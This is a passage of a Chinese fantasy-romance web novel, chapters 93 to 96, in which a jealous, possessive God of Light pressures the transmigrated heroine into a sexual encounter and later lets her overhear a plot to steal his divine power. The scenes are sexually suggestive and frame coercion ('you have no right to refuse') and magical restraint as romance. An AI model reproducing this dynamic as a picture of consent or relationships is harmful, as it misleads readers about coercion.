季白本想问问他们关于永恒之冠的事,*但想想第一天就问任务目标实在是太过明显,就换了一个方式询问。 “光明神的脾气好吗?”季白轻声问,“有没有什么忌讳或者不喜欢的事,我第一天来很怕惹怒光明神。” 为首的红发天使温声道:“光明神的脾气很好,能包容世间所有的过错,所以你不用感到紧张,如平时一般对待光明神就是。” 他说着唇角还露出了一抹笑意,“我还没来得及介绍自己,我是特尔,是光明神身边的大天使。” “以后你有什么问题都可以来找我。” 季白点头道谢。 脾气很好?季白想到那一晚的光明神,她虽没有看清他的样子,可听他的声音怎么也不像脾气很好的样子。 不过……能在刚刚经受过背叛后还留她一命的神明应该也不会太严厉吧? 季白这么想着,紧张的心情也略有所缓和。 很快,特尔他们把他送到了一座恢弘冷寂的宫殿前。 “到了。”特尔说,“进了门以后一直朝里走,光明神就在大殿里坐着。” 季白仰头看去,这座宫殿隐藏在云雾之中,整体的构造给人一种极冷的感觉,就像是北极的冰川一般。 无论是墙壁还是屋脊,都散发着幽蓝的冷白,且没有任何多余的装饰。 这幽冷的建筑风格与神宫其余地方都格格不入,她只是站在门口就感受到了一股冷入骨髓的寒意。 身边的天使早已不见踪迹,季白一回头就见他们离她远远地站着,他们似乎也怕冷一般,用硕大的羽翅紧紧包裹着自己的身体。 “你直接进去就行,我们就不陪你了。” 季白闻言也只得一人进去,她本以为眼前这扇厚重的殿门会很重很重,却没想到她的手刚刚搭上门,门就缓缓开了。 迎面而来的是无比森冷的寒气,季白忍不住打了个哆嗦。 这里真的是光明神居住的地方吗? 为什么会这么冷?在季白心中光明所代表的应该是温暖。 季白拢了拢身上的衣衫开始按照特尔的提示往里走,其实就算特尔不说,季白也知道该往哪儿走。 这里只有一条直通主殿的路,殿前的广场上没有花,没有树,没有雕塑,没有小池,只有冷冰且无趣的蓝白色地砖。 季白只是站在这儿就觉得冷寒且压抑,恨不能立刻逃离,她不明白泊里是如何在这儿待下去的。 神宫内明明有那么多漂亮又温暖的地方,他为何一定要一个人窝在这个冰冷且无趣的地方? 季白快步走进殿内就在宽阔的大殿尽头看见一个孤零零的神座。 这个坐椅是她进门以后看见的第一个家具,也许……也是整座大殿里唯一的一个。 季白忍不住在心中暗想,泊里一定是断舍离的优秀毕业生。 全家的家当只有一把椅子。 “光明神?”季白在距离神座十步远的地方停下了脚步,而她也看清了神座之上的男人。 他第一眼给季白的印象就是非常非常的高大,看起来……快有两米高了,那双笔直且修长的腿随意交叠在一起,一只手懒散地放在神座的扶手上,另一只手则撑着他倒下的头。 他双眸紧闭着看起来像是睡着了一样。 唯一的遗憾是他的脸上覆着一个黄金面具,使人看不清他的长相。 成年体的赫瑞特戴白银面具,泊里戴黄金面具,这两人该不会是商量好的吧? 季白见光明神迟迟不睁眼,又想到特尔说光明神的性格很好,心中调皮的恶魔就有些跃跃欲试了。 “光明神?”季白又低声唤了一声,见光明神还是毫无反应后,方蹑手蹑脚地走上前去,准备取下他脸上的黄金面具。 她的手刚刚碰上冰凉的黄金面具,就见面具的主人忽而睁开眼直勾勾地盯着她看。 93 第93章 “你想对吾做什么?” 微薄的红唇轻启,如太阳般耀眼的眼眸平淡却压迫感极强地注视着她,季白忍不住紧张地咽了咽口水,虽然她知道眼前的人是她曾经认识的泊里,但两个人看起来完全没有任何关系…… 少年的泊里美好又脆弱,坚韧又卑微,看她的眼神总带着几分小心翼翼,像是路边默默无闻的小白花,没有人注意它,可当你蹲下来的时候会发现他很美。 而眼前的泊里,确切地说……光明神,他就像是悬挂在天边无比耀眼的太阳,带着碾压一切的气势,只是朝你看过来的一个眼神就压得你睁不开眼。 只不过这个太阳有点冷,像是月下寒枝一样的冷。 “我……”季白灵机一动,“我看您脸上的面具歪了,想帮您扶正。” 季白说着就有点想把停在半空中的手收回去,然而当她对上光明神极富压迫感的眼神时,却有点不敢轻举妄动。 他的眼神看起来平静,却好似一座沉寂的火山,眼中是寂寂的冰山白雪,眼下却是燎燃翻滚的熔浆。 谁也不知它会在何时喷发,谁也不希望它喷发。 光明神看了她许久许久,久到季白以为他会做点什么时,光明神却语气平静地问:“不是要给吾扶正面具吗?” 嗯?是相信了? 季白看着他金色的眼睛,试图从中得出一些信息,可这双眼睛实在太过平静,看不出有任何的情绪变化。 季白正在犹豫间,坐在神座上的光明神突然动了。 他微微倾身向季白靠近,原本停在半空的手指就蓦地摸上了光明神脸上的面具,冰冷坚硬,像极了眼前这个人。 季白咽了咽口水,指尖摸上面具的边缘,指腹无意间地摩挲过他柔软的脸颊,是一种比丝绸还要顺滑,比云彩还要柔软的触感。 可也冰得吓人。 季白的手指微微蜷了蜷,目光重新投向光明神脸上的黄金面具。 不知是不是她的错觉,她总觉得刚刚她的手在挨上光明神时,他的身子好似敏感地微微颤了一下。 不过应该是错觉吧? 季白悄悄又看了一眼光明神,那双唯一露在外面的眼睛已经闭上了,身子还如刚刚一般平静地坐在神座上,像是一座沉默的山。 果然是她的错觉,他怎么可能就因为她不小心碰了一下就敏感地身子一颤呢? 季白松了口气,随便扶了扶光明神脸上的黄金面具假装是帮他扶正了。 季白收手时,目光无意识地落在他裸露在外的脖颈,凸起的喉结与青紫的筋脉都无比性感,勾得季白越发想要揭开他的面具看看他此时此刻的真容。 其实光明神身上的衣服很庄肃古板,全身几乎都被包裹起来只露出脖子上这么一点点洁白无暇的肌肤,就连裸露在外的手都戴着一双紧贴肌肤的白色丝质手套,可越是这样就越是撩人心弦。 尤其他又有着一具如雕塑般完美强壮的身体。 “你在看什么?”光明神的声音再次在季白耳边响起。 季白诚心诚意地赞道:“我在看伟大的光明神,您伟岸俊朗的完美英姿震撼着我的心灵,让我一时为之倾倒。” “光明神大人,我唯一敬仰的神明,我感谢您从亿万信徒中选中了我,请您告诉我,我能为您做些什么呢?” 光明神的目光紧盯着她,这双锐利且直击人心的眼睛直看得季白心里发毛。 她感觉自己仿佛要被他看穿了一般,这让季白又有些拿不准他到底知不知道她的目的和她私下里对赫瑞特说的话。 她一言不发地垂下眼,只听耳边又响起他的声音。 光明神说:“不需要你做任何事。” 季白不解地抬起头看他,许是她的目光太过炙热,光明神的眼睫轻颤了一下,随后抬手召出一只小火鸟。 “你只需要留在这儿把它照顾好。” 季白闻言看向刚刚被光明神召唤出来的火鸟,它虽小可精神头却很足,乌黑的小眼睛里闪烁狡黠的光芒,一看就不是凡鸟。 季白看看鸟又看看光明神,心里纳闷,不是刚刚还说不让她做任何事吗,怎么转头就给了她一只鸟? “光明神大人,这只鸟需要吃什么,每天要喂几次呢?” “它以火为食,无须喂食物。” 季白:? “那我要如何照顾它?”季白说着又对着光明神行了一礼道,“抱歉光明神大人,我之前在人间从未见过这样的神鸟,害怕照料不周因而多问了几句。” “你不需要喂它食物与水,也不用担心它会飞走。” 季白听了这话心里越发费解,那这只鸟儿看起来并不需要人照料啊。 他该不会是刚刚想出来的理由,随便召了只鸟儿混弄她吧? 季白见光明神不说话,而那只火鸟又无比雀跃地朝她飞来,绕着她一圈又一圈地转,还不住地对她鸣叫,似乎非常喜欢她一样。 光明神抬眼看了它一眼,那只火鸟方有所收敛。 “光明神大人。”季白试探性地问,“这只火鸟……看起来并不需要我照顾啊。” 它看起来可比她精神多了,而且还是光明神身边的魔法生物,恐怕就算不能变化人形,应该也有着不输于人类的智商。 “它生病了?” 诶?! 季白不可置信地看向火鸟,它似是接受到某种指示一般,刚刚还无比兴奋活跃的它立即就无力地扑扇着翅膀,随后摇摇晃晃地掉进了季白的手里,就连明艳的羽毛也黯淡了几分。 这么快就病了? “那……是不是该请人给它看看病?”季白小声说,“或者您给它施展一个治愈魔法?” “是心病。”光明神答得肯定。 季白不说话了,反正这是光明神的地盘他说啥就是啥。 “你不必特意做什么,只需要每天陪它说说话就行,这里太寂寞了。” 光明神说这话时的语气很平静,却反而有一种让人为之神伤的寂寞悲凉。 “可是我看神宫的其他地方并不是这样。”季白小心翼翼地问,“您为何要一人独自居住在这冰川般的冷宫中呢?” 光明神没有回答她的问题,一时间大殿静得仿佛停止了一般,唯有季白手中的火鸟还散发着微弱的温度与清浅的呼吸来以此证明时间的流逝。 季白站了一会后就觉得如芒刺背,她挪了挪脚,小声问:“光明神大人,我可以走了吗?” 她话音刚落,季白就察觉到了一道无比锐刻的目光,好似她提出了一个非常致命的问题一般。 “这只鸟不能离开这儿。” 季白:…… 到底是鸟不能离开,还是不想她离开啊? “那……我住哪儿?”季白小声问,“我现在的身体还是人类,会累会困,总不能……一直站在这儿吧。” 光明神沉默了几瞬,说:“后殿。” 季白离开光明神的视线后,总算能大口喘气了。 她戳了戳趴在自己手上的火鸟,小声吐槽:“光明神的气场也太强大了吧,我站在他面前都不敢大声说话了。” 火鸟懒洋洋地趴在她的手上,只是那双眼睛却紧紧盯着她。 “哎……”季白又叹了一声,低头吻了吻小鸟的头,“难怪你会抑郁呢,这座宫殿这么冷又这么静,我来了一会就感觉不舒服了,何况是天生属火的你呢?” 与此同时,寂寂大殿里的光明神早已摘下了面具露出一张犹如神邸般完美无缺的脸庞。 他后仰着头靠在神座上,眼神微微有几分失焦,冷白的面庞红得和季白手中的小鸟一样。 季白回到自己的房间后随意把小鸟放在了桌子上随后就换了一身轻快的衣服,换好后,她趴在桌子上时不时用手指去戳小鸟的头,又时不时轻抚它的羽毛。 这只小鸟实在可爱,羽毛又很顺滑,致使季白摸着摸着又会抱着它吻上几口。 “光明神说你生病了,可我看你的精神头很好嘛。”季白笑眯眯地说,“难道是因为看见了我,所以你很高兴?” 小鸟点了点毛茸茸的头,随后又用脑袋蹭季白的手。 “嘿嘿,真可爱。”季白又亲了它一口,“不过光明神说要我多陪你说说话,我也不知道说什么……” “要不……”季白环顾了一圈,随后压低了声音问,“我们悄悄出去吧?” “我刚来神宫还没来得及好好看看神宫其他地方呢。” “你要和我一起去吗?” 小鸟先是点头,然后又摇头。 “不能啊……”季白有些失落。“那这样吧,你先留在这儿,我出去看看,放心,我会很快回来的。” 小鸟闻言立即用嘴巴叼住季白的衣袖,似是不舍得她走一样。 “舍不得我啊?那你和我一起走?” 小鸟又松开了季白的衣袖,季白轻笑一声吻了吻它的额头,“我来的时候看见神宫外有很多果实,闻着就很香甜我去摘几个回来给你吃好不好?” 这一次小鸟没有再反对,季白见状也立即悄悄溜出了光明神所在的神宫。 她原本只是想出去探探路,顺便打听打听永恒之冠的事结果却在半路上遇见了热情的特尔一行天使,他们见她出来了笑眯眯地一起拉她去参加聚会,季白想着和他们打好关系有助于后续行动也就去了。 聚会上有美酒有果实有动人的音乐与舞蹈,欢快的氛围也感染了季白。 她没忍住多喝了几杯,等季白反应过来时,天上的太阳已经从两个变成一个了。 这在神宫就是晚上的意思…… 季白顿时打了个寒颤,想起光明神的嘱咐连忙告别众人,赶忙往光明神居住的神殿赶。 告别时,特尔等人还友好地亲了亲她的脸颊。 季白蹑手蹑脚地走到神殿门口,正纠结着要不要推殿门,殿门却已经先开了…… 94 第94章 一股寒气扑面而来,季白仿佛一下子从温暖的春天回到了阴寒无比的冬天。 她忍不住打了个冷颤,朝里张望了一眼,殿前毫无遮拦的广场上空无一人。 季白松了口气,正准备蹑手蹑脚地回去,突然从背后传来一道平静却又极具压迫感的声音。 “你去哪儿了?” 季白吓了一跳,一回头就看见站在她背后的光明神。 那里刚刚还没有人,这家伙到底是什么时候突然冒出来的? 之前他坐在神座上的时候就能看出他生得很高,如今站在季白面前时足足高出了她二三个头,步步朝她逼近时,宛若一座小山压了过来。 季白紧张地往后退了退,说:“我……我第一天来神宫实在是太好奇了,就忍不住出去转了转。” 虽说光明神第一天交给她任务,她就消极怠工悄悄跑出去玩,但也不算什么罪恶滔天的大罪吧? 季白想到这儿,心中的底气足了几分。 她站稳了脚步,仰着头说:“我也不是完全不管火鸟,随便出去玩的。我来的时候看见神宫里种着许多树都结着香甜可口的果子就想着去摘几个给火鸟吃,我给火鸟说的时候,它也同意了。” 说话间,光明神已走到了她的面前,在距离她只有一步远的地方停了下来,他的身后恰巧是夺目的太阳,而他如小山一般的身影挡住了她眼前的太阳,致使她整个人都笼罩在他的阴影中。 她不得不仰着头看他,低垂下来的金色眸子无悲无喜像是一尊高大沉默,不容侵犯的神像。 季白刚刚好不容易建立的底气在这双金色眼眸的注视下很快就消失殆尽。 “就是……就是……”季白结结巴巴地说,“就是在半路上遇见了特尔他们,和他们玩了一会。” 季白不明白自己为何会这般紧张,就感觉有一种深夜在外玩乐的妻子回家被丈夫抓包的慌乱。 光明神不说话,只是低眸静静看着她,眼底好似有什么东西要喷涌而出。 这座神殿只有他们二人,本就寂静的可怕,在这样的目光下季白只觉自己的心跳得很快,风吹过时还有淡淡的酒香包裹着她。 这让季白的心更虚了。 她低下头咽了咽口水,见光明神一直不说话鼓起勇气抬起头看他。 “我……我先回去看火鸟了……” 她话落转身就想走,结果却发现自己的身子已经被定在了原地完全动不了。 光明神弯下腰看她,那双金色的眼睛直勾勾地盯着她,冰川之下翻涌的熔浆仿佛快要压抑不住了。 “这么不愿意和我待在一起吗?”他低头凑近她,带着寒意的黄金面具逼了上来让季白本能地就想要逃。 可偏偏她的身子像是被定住了一般只能眼睁睁地看着他靠得越来越近。 “就这么迫不及待地想要走吗?”他似乎是在生气,金色的眼底闪过一缕暗芒,“说什么吾是你最崇拜的神明,是你唯一敬仰的神,你就是这样对待你心中唯一信仰的神吗?” 不知为何季白好似在这一瞬间从强大的光明神身上看见了之前泊里的样子,好像是泊里在生气又悲伤的控诉她,我不是你唯一的朋友吗,你为什么……要这样对我? 季白垂下眼帘,故作伤心地说:“光明神是觉得我对您的信仰不够纯粹吗?” 她好似听见光明神嗤笑了一声,随后那双戴着白手套的手抚上她的脸颊,微凉的手指固执地摩挲着她的脸颊。 特殊的材质在她的脸上留下阵阵如蚂蚁爬过般的奇怪触感,又像是捂不热的碎冰滑过她的脸。 有点痒又有点难受。 季白的呼吸随着他的动作越来越沉,越来越急促,心也跟着砰砰直跳起来。 可他的眼睛看起来好似依旧很平静,简朴又耀眼的黄金面具罩在他的脸上恍若是一座隔绝情绪的大山。 清浅又炙热的吐息喷撒在季白的鼻头,她忽而后知后觉地发现光明神摩挲的地方好似是……好似是特尔他们刚刚吻过的地方。 “狡诈又虚伪的骗子。” 季白蓦地瞪大了眼睛看他。 他勾着她的脸移至眼前,冰冷的黄金面具几乎快要贴上她的肌肤,灿烂夺目的金眸落至她的红唇,眼中染上了一抹暗色,像是蒙上了一丝阴影的黄金。 光明神戴着白手套的手指摩挲着她的唇,很快,她本就艳红的唇越发红得夺目,红得刺眼,好似是寂寂神殿里唯一的色彩。 他的手微微颤了一下,平缓的呼吸也变得有几分凌乱与粗重。 如果不是季白离得他太近太近,她压根不会察觉出他这一点点细微的几近不可查的变化。 “是不是随便什么人都可以亲吻你?” 赫瑞特可以亲吻她,查奥斯可以亲吻她,就连今天刚刚认识的特尔他们也可以亲吻她的脸颊。 如果随便什么人都能亲吻她的话,他为什么不行? “你,不懂拒绝吗?”他的话很少却直白又刻毒,“还是说你天生就花心又滥情,一刻都不能没有男人?” “今天的酒好喝吗?嗯?”他攥着她下巴的手微微用力,“那些天使和精灵是不是很好看啊,入你的眼了吗?” “他亲你的时候,你爽吗?” 季白被这一连串的问题砸得晕头转向,甚至一时没有反应过来这些刻毒的话竟是出自光明神的嘴里。 她缓了缓,冷笑一声。 “光明神大人,我的私事和您有什么关系呢?”季白说,“我记得光明神殿的教义中并没有禁止……” 季白的话还没有说完就被光明神堵住了唇。 他知道她别有所图,知道她三心二意,但他还是心甘情愿的沉沦在她的谎言里。 他想要吻她,想要占有她,想要她完完全全的属于自己。 舌尖探入唇齿,他的吻和他冰冷的外表与寂冷的神殿完全不同,是如火一般炙热,如岩浆一般的沸腾。 舌尖探入嘴中似是要将她的全部都吞吃下去一般带来足以焚毁一切的灼热。 他一手揽着她的腰,一手托着她的屁股将她抱进了怀里,低下头汹涌又暴烈地吻她。 哪怕季白再不想承认,这一刻她也觉得自己像极了被光明神抱在怀里的一个娃娃。 单是他的大臂就比她的大腿还要粗了。 她趴在他的怀里,肌肤隔着布料紧贴在一起,能明显地感受到他逐渐复苏的心跳与喘息,每一次胸腔的震颤都精准无误地全部传递给了她。 他汹涌的吻还没有停,箍着她腰身的手臂也越搂越紧,滑腻柔软的舌头紧缠着她的舌头,如狂风扫落叶般舔遍了口腔里的每一个角落,可他还是不满足又喘息着轻轻舔舐她的唇瓣。 柔软湿润的舌尖舔过时带来阵阵极为舒爽的快感,使她忍不住从喉中溢出一声愉悦的低吟。 这不同于平时的声音,如小兽哼唧般的声音瞬间刺激到了光明神,他金色的眸子比头顶的太阳还亮,眼尾微微发红,随后颤抖着又吻了上去,好似不知疲倦一般。 直至季白的舌头都开始发麻,光明神方缓缓离开她的唇,一道潋滟靡糜的银丝出现在他们的双唇之间,不断地拉长,随后蓦然断裂。 光明神粗喘着凝望着她,微凉的指腹摩挲着她红肿的唇。 “吾和他们,谁的吻让你更爽?” 季白咬着唇不说话,打算装傻到底。 然而光明神却并不准备放过她,明明隔着面具却好似看见光明神浅笑了一下。 他原本威肃圣洁的声音染上了三分情欲,三分妒意,听起来低沉诱人且又带着一种不容拒绝的强势。 他天生就该站在神台,让所有的人类喊他父亲。 冷漠强势又睥睨一切的眼神让人有一种能跪在他的脚边就是莫大荣幸的狂热与疯狂。 “不说话吗?”他的手突然用力压了下去,季白忍不住闷哼了一声,光明神眼中情欲渐深,“是赫瑞特更得你的心意吗,你和他在他的翅膀里做了什么,他□□你了?” 季白听到这儿双腿一抖,这已经是她经历的第三个副本了。 她自认各种各样的男人都见识过了,可光明神无疑是她见过说话……说话最直接的人。 他这张嘴和他的模样实在不搭配。 她初时以为他是如圣母般宽厚仁慈的人,后来又发现他的威肃冷冰,可现在…… 她感觉光明神好似又笑了一下,只不过这笑实在……有点吓人。 “怪不得选不出来呢。”光明神幽幽道,揉按她唇的手向下探去,充斥着妒火与欲/火的双眸紧盯着她,“看来他□□得你很满意呢,让你这么念念不忘。” 季白紧咬着唇防止自己发出奇怪的声音,待身子缓了缓后,方断断续续地说:“不是的,我……我并不喜欢赫瑞特。” “光明神。”季白抱住他健壮的臂膀说,“我没有撒谎,您是我唯一信仰的神明。” 不知是生理刺激的她眼圈发红还是她的演技太过高超,她一脸诚恳地说:“我……我本就是格兰城的预备圣女,若非……若非被恶魔突然缠上,我也不会险些被圣火烧死,后来也不会去奥斯俐学院学习,我一直想要摆脱他……” “我对您的忠心是真的,你从众多信徒中选中我,难道不是因为相信我吗?” “相信你?”光明神嗤笑了一声,手微微加重了力气,“吾是光明神不是傻瓜神。” “吾选中你。”他顿了顿,“是因为和赫瑞特一样想□□你。” 95 第95章 季白倒吸一口凉气,不可置信地看着光明神。 他的反常与毫不掩饰的直白几乎让季白以为面前的光明神是被人调包的假光明神。 如果是赫瑞特说出这样直白且赤/裸的话,她完全不会觉得违和。 可这是光明神啊,是那个害羞纯情,甚至仁慈宽容到有一点傻的泊里,也是那天夜里气场十足,高不可攀的神明。 “你……你真的是光明神吗?”季白先是声音狐疑且颤抖地问他,随后眼神一凛,抓住光明神的衣领问,“你到底是谁?” 他的样子实在端庄又圣洁,强势又威肃,就连身上的衣服都保守到只露出一点点脖子上的肌肤,这样的人怎么会说出那般露骨且下流的话? 光明神抓住她的手,“你觉得吾应该是谁,或者说你觉得吾应该是什么样?” “接受不了吾刚刚的话,还是接受不了吾对你有欲望?” 他抓着她的手蓦地收紧,戴着黄金面具的脸贴到季白的脸上,语气平静却又有几分咬牙切齿的意味。 “吾是打算放过你的,是你,是你又要闯入吾的视线,是你在吾的神像前一遍又一遍地哀求。” “不要忘了我们的约定,你的身体与你的灵魂都属于吾!” 她的手腕被他捏得嘎吱作响,痛得快要断掉,最要命的是她好似隔着丝质的白色手套感受到了光明神灼热到足以融化骨血的温度。 她甚至分不清自己的手腕究竟是因重力压迫而红,还是因他灼热的体温而红。 她好似又看见他笑了一下。 冰冷的面具贴着她的脸,滚烫的唇摩挲着她的唇,他看她的眼神炙热且赤/裸,吐出的热息落在她的脸上,潮湿黏腻,似是坠入了无法逃脱的蒸笼。 “吾是你的主宰,吾想要你,你没有拒绝的权利。” 他话音刚落,季白就觉眼前一花,等她再次回过神来她和光明神已经回到了正殿。 光明神坐在他的神座上,而她……则跨坐在他的身上。 可哪怕如此,她想要看他还是需要抬头,他……实在太高了。 那双不容忽视的手在她的肌肤上游走激起阵阵涟漪。 他是神明,所以勾勾手指就能消除一切障碍,很快季白就觉得有点意乱情迷。 可看着他可怕的尺寸,还是生出了退怯之意,本能地就想要退一步。 “想跑?”他的手箍住她的腰身,力道重到似乎要嵌进她的肉里,“我们都知道你跑不掉,还是省省你的力气。” 季白的手紧攥着他胸前的衣襟,哪怕在这种时候,他的衣服也仍然完整的穿在身上,唯一的褶皱就是胸前被她攥住的衣襟。 这实在不公平。 光明神抓住她的手放到嘴边轻吻了一下,“如果你的手一定要抓点什么,不如抓这里。” 下一刻,季白的脸有点红。 他灼热的体温烫得她本能就想要移开,却被光明神宽厚的大掌按了回去,另一只手掐住她的下巴,迫使她的目光看向他。 “和吾做就这么不愿意?”灿烂明耀的金眸染上几分晦暗与妒火,“怎么,你是想为赫瑞特守贞不成,这么喜欢他?呵,不对,如果喜欢赫瑞特你也不会又和查奥斯接吻了,嗯?他对你笑一笑,撒个娇,你就心甘情愿地让他吻了?” 他的语气又染上了几分咬牙切齿的刻毒,握着她的手加重了力气,似是要将她捏得粉碎。 “你根本就是花心又滥情,是不是只要长得俊俏你都想要尝尝味道?” 他突然发力将人往自己的怀里拽,季白一时没坐稳,整个人摔在了他的胸膛上,鼻子撞得生疼。 季白还没从疼痛中反应过来,下巴又被他掐住,他低下头逼近她,冰凉的黄金面具抵在她的鼻尖,灿烂夺目的金眸此时此刻像是一个被乌云遮住的太阳。 “他们都行,吾不行,是吾的长相不合你的口味?”他抓住她的手摸上自己的黄金面具,声音有几分突如其来的蛊惑,“你要不要摘下吾的面具亲眼看看吾的模样,吾想,应该不会让你失望。” 季白的指尖被面具的冰凉激得轻颤了一下,她是很好奇光明神的长相,那天夜里她只是匆匆瞥了一眼,压根就没来得及看仔细。 眼下她的手指就勾在黄金面具的边缘,只要轻轻一勾,这张遮住光明神样貌的面具就会被她轻松揭下。 可她却有点不敢,她总觉得这扇面具遮得似乎不仅仅是他的样貌。 光明神见季白迟迟不动,金色的眸中闪过一缕暗芒,“你在害怕?” 不等她回答,铺天盖地的吻又落在她的身上,她攀着他的脖子,感觉自己就像是一座伫立在海面上孤零零的冰山。 突然有一艘大船朝她撞了过来,掌舵的船长生得高大威猛却没什么经验,只知道踩着油门横冲直撞。 冰山被这条大船撞得直掉碎冰,晶莹剔透的冰晶又化为水融入咸湿的大海。 突如其来的疼痛让季白忍不住皱了皱眉,手指无意识地扣进了他的肉里。 光明神闷哼一声,金色的眸子紧盯着她刚刚皱起的眉头,眼底似有一团熊熊燃烧的妒之火焰。 “你和赫瑞特做的时候也是这幅表情吗?” “他伺候得你很爽?” “吾哪里比不上他?” 季白深吸了一口气,手撑在他结实的胸膛上,坐了下去。 “伟大的光明神,如果这是你想要的,我愿意成全你。” 光明神殷红的薄唇微微张了张,眼神都有几分失焦,掌心下的胸膛剧烈地起伏着,裸露在外的脖颈青筋暴起,晶莹的汗珠顺着下巴滚了下去最后落入层层叠叠的里衣中。 他聒噪而刻毒的言语彻底消失,只余留一声比一声沉,一声比一声急的喘息。 季白倾身吻上他的唇,低声说:“您是因我产生了无法熄灭的嫉妒之火吗?” 季白眉眼弯了弯,“怎么办,我知道我这样做是不对的,有罪的,我引诱了伟大的光明神深陷情欲与嫉妒的痛苦之中,可是我看着您为我痛苦,我居然……很开心呢。” 他的眼睛直勾勾地盯着她,好似在控诉她是魔鬼,又好似是因她的主动而彻底意乱情迷,无法自拔。 “或许您说得对,我并不是一位单纯善良的光明神信徒,而应是与恶魔黑暗为伍的魔鬼。” 光明神听到恶魔两个字的时候,搂着她腰的手紧了紧,无意识地将她的身子向下压,与他的身子贴得更紧一些。 “不过……”季白的唇摩挲着他的唇,又时不时伸出舌尖轻轻舔舐着他如云朵般柔软的唇瓣,“您知道吗,越是生在黑暗的人,就越是喜欢悬挂在天上的太阳,就越是要追逐明媚耀眼的光。” “您对我来说,就是这样的存在。” 她漂亮的眼睛无*比专注地看着他,“您不必嫉妒他们,您是我一直追逐的神明,有了您,他们所有人加在一起都不如您重要。” 光明神的身子轻轻颤了下,随后闭上眼睛又抬手捂住了她的眼睛。 “骗子。” 季白听到光明神这么低低地呢喃了一声,随后搂着她的腰,翻身将她压在身下。 海面上,那只无比巨大的船又开始撞击面前的冰山了。 等季白再次苏醒时,房间里只有她一人与一只鸟。 那鸟在她的身上跳来跳去,时不时偏过头看她一眼,黑溜溜的眼睛像极了两颗黑葡萄。 季白抬手摸了摸小鸟的头,轻声问:“是光明神把我送回来的吗?” 小鸟点了点头。 季白回想起昏迷前发生的一切,忍不住叹了口气。 照目前的情况看,光明神对她没有一丁点的信任,而且……她的一举一动很有可能都在光明神的掌控之中。 想到她的任务,季白忍不住又叹了一声,手指无意识地抚摸着火鸟的头。 她想了一会后,就准备先翻身下床去探探光明神现在对她的态度。 她起身时原本还在担心自己身上会不会很疼,然而直至她双脚落地走了几步后,她都没感觉到有任何不适,反而还十分的舒畅,像是泡了一个非常舒服的温泉。 她明明记得当时撕裂般的疼,季白看了眼自己的手腕,原本的红痕也已消失不见,肌肤甚至比之前还要白嫩。 应该是光明神趁她昏迷的时候给她用了治愈魔法吧? 这么看,这位光明神也只是嘴巴刻毒了一点,心还是软的。 季白这么想着,心中的底气与信心又多了几分。 她再次走进这座空荡冷寂的大殿时,竟好似闻到几缕淡淡的……幽甜的奇怪味道,离神座越近这股味道就越浓。 季白瞬时觉得有些脸热,光明神都给她施展治愈魔法了,怎么也不说给主殿祛祛味。 “光明神。”季白对着神座上的光明神出声低唤了一句。 其实在季白离开房间的那一刻,光明神就察觉到她来了,但他却故意装作一副什么都没察觉到的样子。 那声清越又带着女子特有的娇柔声音在他耳边响起时,他的心立刻颤了颤,他突然很想再听她叫自己的名字。 他的名字,泊里。 对他而言只是一个代号没有任何意义的名字由她的嘴里念出来却特别的好听。 光明神微垂着眼帘没有动,思索着用什么样的神色面对她能最吸引她的注意力。 当他想好抬眸看过去时,却发现季白的目光已经被他脚下的云镜夺去了。 “教皇大人,光明神已经完全归位,我们……还能继续偷取他的神明之力吗?” 96 第96章 偷取神明之力? 季白看着云镜中的教皇和一位模样有几分熟悉的红发老者,她看了半晌方认出这老者是她当初在奥斯俐学院见过的老师。 他在听见她名字的时候还多问了她一句,她当时就隐隐察觉出不对劲,但见他并未做什么后也就没有多想。 没想到,看起来普普通通的一位老者竟然和教皇密谋着窃取神明之力这样的大事,窃取的对象还是他们所信奉的光明神。 教皇似是有所顾忌一般并未接他的话,而是话锋一转聊起了别的事情,只不过他们的话里句句打着机锋,听得人云里雾里。 光明神坐在神座上目光不善地盯着云镜里的两人,倒不是为他们的贪婪与背叛,而是不喜季白的目光就这般被他们两人所吸引。 这两人又老又丑,也不知有什么好看的。 光明神略一动动手指,脚下的云镜就彻底消失变成了普普通通的地砖,季白眨了眨眼抬眸看向神座上的光明神。 这一瞬间她突然明白光明神是如何观察她的了。 她不在的时候,他是不是也如刚刚一样坐在冷冰冰的神殿里看着云镜中的她,看着她和赫瑞特亲密,看着她和查奥斯亲密。 季白想到这儿忍不住打了个冷颤。 不过,昨天他失控时曾质问她,她在赫瑞特的翅膀里做了什么,这说明……光明神还不知道她接近他的真实目的是为了他的神器永恒之冠。 季白又想到刚刚从云镜里得到的信息忍不住开始分析,难道光明神之前以那副悲惨的模样在奥斯俐学院学习,并不是他故意为之,而是被教皇他们害得? 可季白又觉得有点想不通,如果他们知道泊里是光明神,当时在奥斯俐学院就该有所动作,而不至于在泊里死后都还一幅一无所知的样子。 “有问题想问?”光明神的声音又恢复了往常的平静,只是看她的眼神却再不复以往的平静,金色眼底燃烧着灼灼火焰,似是随时都会将她扑至身下,如巨龙守护财宝那般用那双强壮健硕的臂膀紧紧圈着她,不让她离开片刻。 季白还没想好如何开口,身子就蓦地一轻,整个人朝光明神的方向飞去,等她回过神时,已经牢牢坐在了光明神的怀里。 那双不容忽视的手紧揽着她的后腰,似是生怕她逃跑一样。 还真成了一条守护财宝的巨龙。 “想问什么问就是。” “光明神殿的教皇……背叛您了?”季白小声问,“您之前总以一只眼睛的形象现身是因为他们一直在偷取您的神明之力吗?” 季白说到这儿,还故作愤怒地说。 “难怪您许久不曾以人类青年的样子出现,难怪自您的真身变成眼睛后,就只有教皇能与您沟通,原来是他一直在骗我们!不止骗了我们,还背叛伤害了您!他简直太可恶了!比恶魔还要坏!” 光明神偏着头看着为他义愤填膺的季白,心中有种说不出的奇怪感觉。 有点舒畅,有点熨帖,又有点压不住的想笑。 以他的实力,世间无人能伤他分毫,也无需谁的保护,他们偷取的那一点点神力如同大海中的一瓢水,他压根就不在乎。 可看着季白因他而生气的小脸,他胸腔下的那颗心脏又不受控制地跳动起来。 季白骂完后见光明神半点反应也没有,故意伸手戳了戳他结实且富有弹性的胸肌,“教皇这么对您,您不管吗?” 光明神抓住她乱戳的手指,紧盯着她的眼神越发热切,“一座山上生了几只老鼠,山会管吗?” 季白眨了眨眼,说:“山不管的话,整座山都会被老鼠掏空吧?” “纵万物俱空,山也依旧是山。” 季白明白了光明神的态度,他不在乎那点被偷的神力,也不在乎他们,或许很久以前他是下凡帮助过人类,可时过境迁,沧海桑田,神明对此感到厌烦。 他高高地坐在神座之上看着他们自取灭亡,或许这是他渡过漫长时间的唯一乐趣。 但季白还是有点好奇光明神为什么会变成泊里。 “还有问题?” 季白摇摇头,“没有了。” 光明神不愿意把他就是泊里的事告诉她,她自然也不会把这件事戳破自找麻烦。 